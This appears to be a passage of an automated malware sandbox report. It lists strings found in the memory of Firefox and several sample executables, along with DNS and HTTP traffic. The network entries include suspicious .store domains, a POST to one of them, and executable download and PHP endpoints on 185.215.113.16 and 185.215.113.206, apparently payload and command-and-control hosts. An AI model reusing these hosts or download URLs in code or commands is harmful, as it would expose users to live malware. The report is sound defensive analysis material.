"://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B79700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B79700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B79700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media.gmp-manager.cert.checkAttributesstartup - adding clearkey CDM failedspeculativeConnectWithOriginAttributessitepermsaddon-provider-registeredfindUpdates() - updateTask succeeded for media.gmp-manager.cert.requireBuiltInonPrefEnabledChanged() - adding gmp directory onPrefEnabledChanged() - removing gmp directory KEY_PLUGIN_LAST_INSTALL_FAIL_REASONuninstallPlugin() - unregistering gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONstartup - adding clearkey CDM directory media.gmp-manager.checkContentSignaturemedia.gmp-manager.secondsBetweenChecksipc:first-content-process-createdThis should only be called from XPCShell testsonPrefEMEGlobalEnabledChanged() id=SitePermsAddonInstall#cancel called twice on dom.sitepermsaddon-provider.enabledresource://gre/modules/UpdateUtils.sys.mjsaddGatedPermissionTypesForXpcShellTests://static.criteo.net/js/ld/publishertag.jswebcompat-reporter%40mozilla.org:1.5.1://.imgur.com/js/vendor..bundle.js@mozilla.org/network/atomic-file-output-stream;1@mozilla.org/network/safe-file-output-stream;1://www.everestjs.net/static/st.v3.js://static.chartbeat.com/js/chartbeat_video.js://cdn.branch.io/branch-latest.min.js@mozilla.org/addons/addon-manager-startup;1FileUtils_closeAtomicFileOutputStream://.imgur.io/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/network/file-output-stream;1://libs.coremetrics.com/eluminate.jsFileUtils_closeSafeFileOutputStream://connect.facebook.net//sdk.js://connect.facebook.net//all.js*resource://gre/modules/AddonManager.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/server/devtools-server.jsget FIXUP_FLAG_FORCE_ALTERNATE_URIreleaseDistinctSystemPrincipalLoaderdevtools.performance.popup.feature-flagUnable to start devtools server on Failed to listen. Listener already attached.Got invalid request to save JSON dataFailed to execute WebChannel callback:WebChannel/this._originCheckCallbackJSON Viewer's onSave failed in startPersistenceFailed to listen. Callback argument missing.devtools/client/framework/devtools-browserresource://devtools/shared/security/socket.jsbrowser.urlbar.dnsResolveFullyQualifiedNames@mozilla.org/uriloader/handler-service;1devtools/client/framework/devtools^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)browser.fixup.dns_first_for_single_words@mozilla.org/network/protocol;1?name=defaultDevTools telemetry entry point failed: devtools.debugger.remote-websocketDevToolsStartup.jsm:handleDebuggerFlag@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}No callback set for this channel.@mozilla.org/network/protocol;1?name=fileresource://gre/modules/ExtHandlerService.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol<http://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/URIFixup.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/network/async-stream-copier;1https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this typehttps://mail.inbox.lv/compose?to=%sScheme should be either http or httpsresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs_injectDefaultProtocolHandlersIfNeeded@mozilla.org/network/file-input-stream;1extension/default-theme@mozilla.org/extendedData@mozilla.org/uriloader/local-handler-app;1Can't invoke URIFixup in the content processresource://gre/modules/JSONFile.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/JSONFile.sys.mjs@mozilla.org/network/simple-stream-listener;1@mozilla.org/scriptableinputstream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%sFirst argument should be an nsIInputStreampdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/network/input-stream-pump;1https://mail.yandex.ru/compose?mailto=%snewChannel requires a single object argumentNon-zero amount of bytes must be specifiedhttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/handler-service;1resource://gre/modules/Integration.sys.mjsMust have a source and a callback
Source: firefox.exe, 0000001B.00000002.2780914101.000001C174EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2780914101.000001C174EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: dualstack.reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001B.00000002.2764741953.000001C17457D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/:
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 6cadd3f0fd.exe, 00000009.00000003.2732085528.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe?
Source: file.exe, 00000000.00000003.1844921816.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845532345.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845244184.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeG
Source: 6cadd3f0fd.exe, 00000009.00000003.2732085528.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exec
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee;
Source: skotes.exe, 00000008.00000003.2586871120.0000000000D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000008.00000003.2586871120.0000000000D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe.phpe
Source: skotes.exe, 00000008.00000003.2586871120.0000000000D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeage.dll
Source: skotes.exe, 00000008.00000003.2586871120.0000000000D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exersion
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/~
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/;
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/V#
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/u
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php:
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpGY
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_#
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcY
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H#)f
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/_
Source: num.exe, 0000001C.00000002.2611179744.0000000001642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/b
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/l
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1784302750.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2557705533.0000000000732000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2689945232.000000000109D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.2749174259.000001C17191A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.2744766730.000001C170CF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2744766730.000001C170CF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
